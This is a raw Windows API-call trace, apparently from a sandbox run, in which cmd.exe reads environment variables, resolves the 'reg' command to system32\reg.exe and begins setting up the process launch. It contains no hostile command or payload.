	[0062.541] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0062.541] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0062.541] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0062.541] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0062.541] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0062.541] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0062.541] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0062.541] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0062.541] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0062.542] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0062.542] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0062.542] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0062.542] GetProcessHeap () returned 0x28910d80000
	[0062.542] RtlFreeHeap (HeapHandle=0x28910d80000, Flags=0x0, BaseAddress=0x28910d86590) returned 1
	[0062.542] GetEnvironmentStringsW () returned 0x28910d88fe0*
	[0062.542] GetProcessHeap () returned 0x28910d80000
	[0062.542] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0xa94) returned 0x28910d85b50
	[0062.542] FreeEnvironmentStringsA (penv="A") returned 1
	[0062.542] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0062.542] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0062.542] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0062.542] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0062.542] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0062.542] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0062.542] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0062.542] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0062.542] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0062.542] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0062.542] malloc (_Size=0xffce) returned 0x28911000040
	[0062.543] ??_V@YAXPEAX@Z () returned 0x28911000040
	[0062.543] GetProcessHeap () returned 0x28910d80000
	[0062.543] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0x40) returned 0x28910d80fc0
	[0062.543] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x28911000040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0062.544] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x28911000040, lpFilePart=0x8f841af1e0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x8f841af1e0*="Desktop") returned 0x17
	[0062.544] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0062.569] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x8f841aef10 | out: lpFindFileData=0x8f841aef10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x28910d81010
	[0062.570] FindClose (in: hFindFile=0x28910d81010 | out: hFindFile=0x28910d81010) returned 1
	[0062.570] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x8f841aef10 | out: lpFindFileData=0x8f841aef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x28910d81010
	[0062.570] FindClose (in: hFindFile=0x28910d81010 | out: hFindFile=0x28910d81010) returned 1
	[0062.570] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x8f841aef10 | out: lpFindFileData=0x8f841aef10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd60f1e6, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0xd60f1e6, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x28910d81010
	[0062.570] FindClose (in: hFindFile=0x28910d81010 | out: hFindFile=0x28910d81010) returned 1
	[0062.570] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0062.570] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0062.570] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0062.570] GetProcessHeap () returned 0x28910d80000
	[0062.570] RtlFreeHeap (HeapHandle=0x28910d80000, Flags=0x0, BaseAddress=0x28910d85b50) returned 1
	[0062.570] GetEnvironmentStringsW () returned 0x28910d85b50*
	[0062.570] GetProcessHeap () returned 0x28910d80000
	[0062.570] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0xacc) returned 0x28910d86630
	[0062.571] FreeEnvironmentStringsA (penv="=") returned 1
	[0062.571] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x28910fe0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0062.571] GetProcessHeap () returned 0x28910d80000
	[0062.571] RtlFreeHeap (HeapHandle=0x28910d80000, Flags=0x0, BaseAddress=0x28910d80fc0) returned 1
	[0062.571] ??_V@YAXPEAX@Z () returned 0x1
	[0062.571] ??_V@YAXPEAX@Z () returned 0x1
	[0062.571] GetProcessHeap () returned 0x28910d80000
	[0062.571] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0x4016) returned 0x28910d89ac0
	[0062.571] GetProcessHeap () returned 0x28910d80000
	[0062.571] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0xe6) returned 0x28910d87110
	[0062.571] GetProcessHeap () returned 0x28910d80000
	[0062.571] RtlFreeHeap (HeapHandle=0x28910d80000, Flags=0x0, BaseAddress=0x28910d89ac0) returned 1
	[0062.571] GetConsoleOutputCP () returned 0x1b5
	[0062.612] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff79f78fbb0 | out: lpCPInfo=0x7ff79f78fbb0) returned 1
	[0062.612] GetUserDefaultLCID () returned 0x409
	[0062.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff79f78bb78, cchData=8 | out: lpLCData=":") returned 2
	[0062.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x8f841af5a0, cchData=128 | out: lpLCData="0") returned 2
	[0062.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x8f841af5a0, cchData=128 | out: lpLCData="0") returned 2
	[0062.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x8f841af5a0, cchData=128 | out: lpLCData="1") returned 2
	[0062.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff79f78bb68, cchData=8 | out: lpLCData="/") returned 2
	[0062.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff79f78bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0062.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff79f78bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0062.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff79f78ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0062.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff79f78ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0062.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff79f78ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0062.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff79f78b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0062.613] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff79f78b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0062.614] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff79f78bb58, cchData=8 | out: lpLCData=".") returned 2
	[0062.614] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff79f78bb40, cchData=8 | out: lpLCData=",") returned 2
	[0062.614] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0062.615] GetProcessHeap () returned 0x28910d80000
	[0062.615] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x0, Size=0x20c) returned 0x28910d87270
	[0062.615] GetConsoleTitleW (in: lpConsoleTitle=0x28910d87270, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0062.707] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000
	[0062.707] GetProcAddress (hModule=0x7ffce9120000, lpProcName="CopyFileExW") returned 0x7ffce913e830
	[0062.707] GetProcAddress (hModule=0x7ffce9120000, lpProcName="IsDebuggerPresent") returned 0x7ffce913e300
	[0062.707] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffce6900a40
	[0062.707] ??_V@YAXPEAX@Z () returned 0x1
	[0062.709] GetProcessHeap () returned 0x28910d80000
	[0062.709] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0x4012) returned 0x28910d89ac0
	[0062.709] GetProcessHeap () returned 0x28910d80000
	[0062.709] RtlFreeHeap (HeapHandle=0x28910d80000, Flags=0x0, BaseAddress=0x28910d89ac0) returned 1
	[0062.709] _wcsicmp (_String1="reg", _String2=")") returned 73
	[0062.709] _wcsicmp (_String1="FOR", _String2="reg") returned -12
	[0062.709] _wcsicmp (_String1="FOR/?", _String2="reg") returned -12
	[0062.709] _wcsicmp (_String1="IF", _String2="reg") returned -9
	[0062.709] _wcsicmp (_String1="IF/?", _String2="reg") returned -9
	[0062.709] _wcsicmp (_String1="REM", _String2="reg") returned 6
	[0062.709] _wcsicmp (_String1="REM/?", _String2="reg") returned 6
	[0062.709] GetProcessHeap () returned 0x28910d80000
	[0062.709] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0xb0) returned 0x28910d87490
	[0062.709] GetProcessHeap () returned 0x28910d80000
	[0062.709] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0x18) returned 0x28910d87550
	[0062.712] GetProcessHeap () returned 0x28910d80000
	[0062.712] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0xdc) returned 0x28910d87570
	[0062.713] GetConsoleTitleW (in: lpConsoleTitle=0x8f841af490, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0062.756] malloc (_Size=0xffce) returned 0x28910ff0060
	[0062.757] ??_V@YAXPEAX@Z () returned 0x28910ff0060
	[0062.757] malloc (_Size=0xffce) returned 0x28911000040
	[0062.757] ??_V@YAXPEAX@Z () returned 0x28911000040
	[0062.758] _wcsicmp (_String1="reg", _String2="DIR") returned 14
	[0062.758] _wcsicmp (_String1="reg", _String2="ERASE") returned 13
	[0062.758] _wcsicmp (_String1="reg", _String2="DEL") returned 14
	[0062.758] _wcsicmp (_String1="reg", _String2="TYPE") returned -2
	[0062.758] _wcsicmp (_String1="reg", _String2="COPY") returned 15
	[0062.758] _wcsicmp (_String1="reg", _String2="CD") returned 15
	[0062.758] _wcsicmp (_String1="reg", _String2="CHDIR") returned 15
	[0062.759] _wcsicmp (_String1="reg", _String2="RENAME") returned -7
	[0062.759] _wcsicmp (_String1="reg", _String2="REN") returned -7
	[0062.759] _wcsicmp (_String1="reg", _String2="ECHO") returned 13
	[0062.759] _wcsicmp (_String1="reg", _String2="SET") returned -1
	[0062.759] _wcsicmp (_String1="reg", _String2="PAUSE") returned 2
	[0062.759] _wcsicmp (_String1="reg", _String2="DATE") returned 14
	[0062.759] _wcsicmp (_String1="reg", _String2="TIME") returned -2
	[0062.759] _wcsicmp (_String1="reg", _String2="PROMPT") returned 2
	[0062.759] _wcsicmp (_String1="reg", _String2="MD") returned 5
	[0062.759] _wcsicmp (_String1="reg", _String2="MKDIR") returned 5
	[0062.759] _wcsicmp (_String1="reg", _String2="RD") returned 1
	[0062.759] _wcsicmp (_String1="reg", _String2="RMDIR") returned -8
	[0062.759] _wcsicmp (_String1="reg", _String2="PATH") returned 2
	[0062.759] _wcsicmp (_String1="reg", _String2="GOTO") returned 11
	[0062.759] _wcsicmp (_String1="reg", _String2="SHIFT") returned -1
	[0062.759] _wcsicmp (_String1="reg", _String2="CLS") returned 15
	[0062.759] _wcsicmp (_String1="reg", _String2="CALL") returned 15
	[0062.759] _wcsicmp (_String1="reg", _String2="VERIFY") returned -4
	[0062.759] _wcsicmp (_String1="reg", _String2="VER") returned -4
	[0062.759] _wcsicmp (_String1="reg", _String2="VOL") returned -4
	[0062.759] _wcsicmp (_String1="reg", _String2="EXIT") returned 13
	[0062.759] _wcsicmp (_String1="reg", _String2="SETLOCAL") returned -1
	[0062.764] _wcsicmp (_String1="reg", _String2="ENDLOCAL") returned 13
	[0062.764] _wcsicmp (_String1="reg", _String2="TITLE") returned -2
	[0062.764] _wcsicmp (_String1="reg", _String2="START") returned -1
	[0062.764] _wcsicmp (_String1="reg", _String2="DPATH") returned 14
	[0062.764] _wcsicmp (_String1="reg", _String2="KEYS") returned 7
	[0062.764] _wcsicmp (_String1="reg", _String2="MOVE") returned 5
	[0062.764] _wcsicmp (_String1="reg", _String2="PUSHD") returned 2
	[0062.765] _wcsicmp (_String1="reg", _String2="POPD") returned 2
	[0062.765] _wcsicmp (_String1="reg", _String2="ASSOC") returned 17
	[0062.765] _wcsicmp (_String1="reg", _String2="FTYPE") returned 12
	[0062.765] _wcsicmp (_String1="reg", _String2="BREAK") returned 16
	[0062.765] _wcsicmp (_String1="reg", _String2="COLOR") returned 15
	[0062.765] _wcsicmp (_String1="reg", _String2="MKLINK") returned 5
	[0062.765] _wcsicmp (_String1="reg", _String2="DIR") returned 14
	[0062.765] _wcsicmp (_String1="reg", _String2="ERASE") returned 13
	[0062.765] _wcsicmp (_String1="reg", _String2="DEL") returned 14
	[0062.765] _wcsicmp (_String1="reg", _String2="TYPE") returned -2
	[0062.765] _wcsicmp (_String1="reg", _String2="COPY") returned 15
	[0062.765] _wcsicmp (_String1="reg", _String2="CD") returned 15
	[0062.765] _wcsicmp (_String1="reg", _String2="CHDIR") returned 15
	[0062.765] _wcsicmp (_String1="reg", _String2="RENAME") returned -7
	[0062.765] _wcsicmp (_String1="reg", _String2="REN") returned -7
	[0062.765] _wcsicmp (_String1="reg", _String2="ECHO") returned 13
	[0062.765] _wcsicmp (_String1="reg", _String2="SET") returned -1
	[0062.765] _wcsicmp (_String1="reg", _String2="PAUSE") returned 2
	[0062.765] _wcsicmp (_String1="reg", _String2="DATE") returned 14
	[0062.765] _wcsicmp (_String1="reg", _String2="TIME") returned -2
	[0062.765] _wcsicmp (_String1="reg", _String2="PROMPT") returned 2
	[0062.765] _wcsicmp (_String1="reg", _String2="MD") returned 5
	[0062.765] _wcsicmp (_String1="reg", _String2="MKDIR") returned 5
	[0062.765] _wcsicmp (_String1="reg", _String2="RD") returned 1
	[0062.765] _wcsicmp (_String1="reg", _String2="RMDIR") returned -8
	[0062.765] _wcsicmp (_String1="reg", _String2="PATH") returned 2
	[0062.765] _wcsicmp (_String1="reg", _String2="GOTO") returned 11
	[0062.765] _wcsicmp (_String1="reg", _String2="SHIFT") returned -1
	[0062.765] _wcsicmp (_String1="reg", _String2="CLS") returned 15
	[0062.765] _wcsicmp (_String1="reg", _String2="CALL") returned 15
	[0062.766] _wcsicmp (_String1="reg", _String2="VERIFY") returned -4
	[0062.766] _wcsicmp (_String1="reg", _String2="VER") returned -4
	[0062.766] _wcsicmp (_String1="reg", _String2="VOL") returned -4
	[0062.766] _wcsicmp (_String1="reg", _String2="EXIT") returned 13
	[0062.766] _wcsicmp (_String1="reg", _String2="SETLOCAL") returned -1
	[0062.766] _wcsicmp (_String1="reg", _String2="ENDLOCAL") returned 13
	[0062.766] _wcsicmp (_String1="reg", _String2="TITLE") returned -2
	[0062.766] _wcsicmp (_String1="reg", _String2="START") returned -1
	[0062.766] _wcsicmp (_String1="reg", _String2="DPATH") returned 14
	[0062.766] _wcsicmp (_String1="reg", _String2="KEYS") returned 7
	[0062.766] _wcsicmp (_String1="reg", _String2="MOVE") returned 5
	[0062.766] _wcsicmp (_String1="reg", _String2="PUSHD") returned 2
	[0062.766] _wcsicmp (_String1="reg", _String2="POPD") returned 2
	[0062.766] _wcsicmp (_String1="reg", _String2="ASSOC") returned 17
	[0062.766] _wcsicmp (_String1="reg", _String2="FTYPE") returned 12
	[0062.766] _wcsicmp (_String1="reg", _String2="BREAK") returned 16
	[0062.766] _wcsicmp (_String1="reg", _String2="COLOR") returned 15
	[0062.766] _wcsicmp (_String1="reg", _String2="MKLINK") returned 5
	[0062.766] _wcsicmp (_String1="reg", _String2="FOR") returned 12
	[0062.766] _wcsicmp (_String1="reg", _String2="IF") returned 9
	[0062.766] _wcsicmp (_String1="reg", _String2="REM") returned -6
	[0062.766] ??_V@YAXPEAX@Z () returned 0x1
	[0062.766] GetProcessHeap () returned 0x28910d80000
	[0062.766] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0xffde) returned 0x28910d89ac0
	[0062.768] GetProcessHeap () returned 0x28910d80000
	[0062.768] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0xe4) returned 0x28910d87660
	[0062.768] _wcsnicmp (_String1="reg", _String2="cmd ", _MaxCount=0x4) returned 15
	[0062.768] malloc (_Size=0xffce) returned 0x28911000040
	[0062.768] ??_V@YAXPEAX@Z () returned 0x28911000040
	[0062.768] GetProcessHeap () returned 0x28910d80000
	[0062.768] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0x1ffac) returned 0x28910d99ab0
	[0062.771] SetErrorMode (uMode=0x0) returned 0x8003
	[0062.771] SetErrorMode (uMode=0x1) returned 0x0
	[0062.771] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x28910d99ac0, lpFilePart=0x8f841aed10 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x8f841aed10*="Desktop") returned 0x17
	[0062.771] SetErrorMode (uMode=0x8003) returned 0x1
	[0062.771] GetProcessHeap () returned 0x28910d80000
	[0062.771] RtlReAllocateHeap (Heap=0x28910d80000, Flags=0x0, Ptr=0x28910d99ab0, Size=0x48) returned 0x28910d99ab0
	[0062.771] GetProcessHeap () returned 0x28910d80000
	[0062.771] RtlSizeHeap (HeapHandle=0x28910d80000, Flags=0x0, MemoryPointer=0x28910d99ab0) returned 0x48
	[0062.771] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0062.772] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0062.772] GetProcessHeap () returned 0x28910d80000
	[0062.772] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0x1bc) returned 0x28910d87750
	[0062.772] GetProcessHeap () returned 0x28910d80000
	[0062.772] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0x368) returned 0x28910d80fc0
	[0062.785] GetProcessHeap () returned 0x28910d80000
	[0062.785] RtlReAllocateHeap (Heap=0x28910d80000, Flags=0x0, Ptr=0x28910d80fc0, Size=0x1be) returned 0x28910d80fc0
	[0062.785] GetProcessHeap () returned 0x28910d80000
	[0062.785] RtlSizeHeap (HeapHandle=0x28910d80000, Flags=0x0, MemoryPointer=0x28910d80fc0) returned 0x1be
	[0062.785] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0062.785] GetProcessHeap () returned 0x28910d80000
	[0062.785] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0xe8) returned 0x28910d87920
	[0062.787] GetProcessHeap () returned 0x28910d80000
	[0062.787] RtlReAllocateHeap (Heap=0x28910d80000, Flags=0x0, Ptr=0x28910d87920, Size=0x7e) returned 0x28910d87920
	[0062.787] GetProcessHeap () returned 0x28910d80000
	[0062.787] RtlSizeHeap (HeapHandle=0x28910d80000, Flags=0x0, MemoryPointer=0x28910d87920) returned 0x7e
	[0062.787] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0062.788] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\reg.*", fInfoLevelId=0x1, lpFindFileData=0x8f841aea80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8f841aea80) returned 0xffffffffffffffff
	[0062.788] GetLastError () returned 0x2
	[0062.788] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0062.788] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\reg.*", fInfoLevelId=0x1, lpFindFileData=0x8f841aea80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8f841aea80) returned 0xffffffffffffffff
	[0062.822] GetLastError () returned 0x2
	[0062.822] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0062.823] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\reg.*", fInfoLevelId=0x1, lpFindFileData=0x8f841aea80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8f841aea80) returned 0x28910d879b0
	[0062.823] GetProcessHeap () returned 0x28910d80000
	[0062.823] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x0, Size=0x28) returned 0x28910d87a10
	[0062.823] FindClose (in: hFindFile=0x28910d879b0 | out: hFindFile=0x28910d879b0) returned 1
	[0062.823] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\reg.COM", fInfoLevelId=0x1, lpFindFileData=0x8f841aea80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8f841aea80) returned 0xffffffffffffffff
	[0062.823] GetLastError () returned 0x2
	[0062.823] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\reg.EXE", fInfoLevelId=0x1, lpFindFileData=0x8f841aea80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8f841aea80) returned 0x28910d879b0
	[0062.823] GetProcessHeap () returned 0x28910d80000
	[0062.823] RtlReAllocateHeap (Heap=0x28910d80000, Flags=0x0, Ptr=0x28910d87a10, Size=0x8) returned 0x28910d87a10
	[0062.824] FindClose (in: hFindFile=0x28910d879b0 | out: hFindFile=0x28910d879b0) returned 1
	[0062.824] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0062.824] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0062.824] ??_V@YAXPEAX@Z () returned 0x1
	[0062.824] GetConsoleTitleW (in: lpConsoleTitle=0x8f841af000, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0062.844] InitializeProcThreadAttributeList (in: lpAttributeList=0x8f841aef20, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x8f841aee10 | out: lpAttributeList=0x8f841aef20, lpSize=0x8f841aee10) returned 1
	[0062.844] UpdateProcThreadAttribute (in: lpAttributeList=0x8f841aef20, dwFlags=0x0, Attribute=0x60001, lpValue=0x8f841aedfc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x8f841aef20, lpPreviousValue=0x0) returned 1
	[0062.844] GetStartupInfoW (in: lpStartupInfo=0x8f841aeeb0 | out: lpStartupInfo=0x8f841aeeb0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0062.844] GetProcessHeap () returned 0x28910d80000
	[0062.844] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0x20) returned 0x28910d879b0
	[0062.844] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0062.844] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0062.844] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0062.844] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0062.845] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
